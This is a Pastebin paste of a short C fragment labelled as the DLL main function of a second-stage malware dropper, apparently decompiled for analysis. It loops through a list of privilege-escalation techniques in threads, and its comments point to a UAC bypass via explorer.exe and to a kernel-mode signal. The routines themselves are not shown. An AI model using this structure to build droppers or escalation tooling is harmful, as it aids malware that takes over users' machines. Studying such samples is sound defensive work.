Guest User

Untitled

a guest
Mar 28th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. /*2nd level dropper : DLL main function*/
  2. {
  3. /*[...]*/
  4.  
  5. pavtr_listelem Elem = gList;
  6. while ( Elem != NULL )
  7. {
  8. HANDLE hThread = CreateThread(NULL,NULL,Avtr_ThreadProc,Elem,0);
  9. if ( ! hThread )
  10. break;
  11. CloseHandle(hThread);
  12.  
  13. DWORD wfso_ret = 0;
  14. if ( Elem->technique != 0x80000000 )
  15. {
  16. wfso_ret = WaitForSingleObject(hGlobal03,Elem->milliseconds); //explorer.exe & UAC bypass
  17. if ( wfso_ret == WAIT_OBJECT_0 )
  18. {
  19. Elem->n_tries = 0;
  20. }
  21. }
  22.  
  23. if ( wfso_ret == 0 && Elem->privilege_value != 0 )
  24. {
  25. wfso_ret = WaitForSingleObject(hGlobal02,Elem->milliseconds); //Always ; Event signaled from kernelmode
  26. if ( wfso_ret == WAIT_OBJECT_0 )
  27. {
  28. SetEvent(hGlobal17);
  29. break;
  30. }
  31. }
  32. int n_tries = Elem->n_tries - 1;
  33. Elem->n_tries = n_tries;
  34. if ( n_tries <= 0 )
  35. {
  36. Elem = List_GetNextElem();
  37. }
  38. }
  39. Sleep(1000);
  40. CloseHandle(hGlobal03);
  41. CloseHandle(hGlobal02);
  42.  
  43. return var_C;
  44. }
Advertisement
Add Comment
Please, Sign In to add comment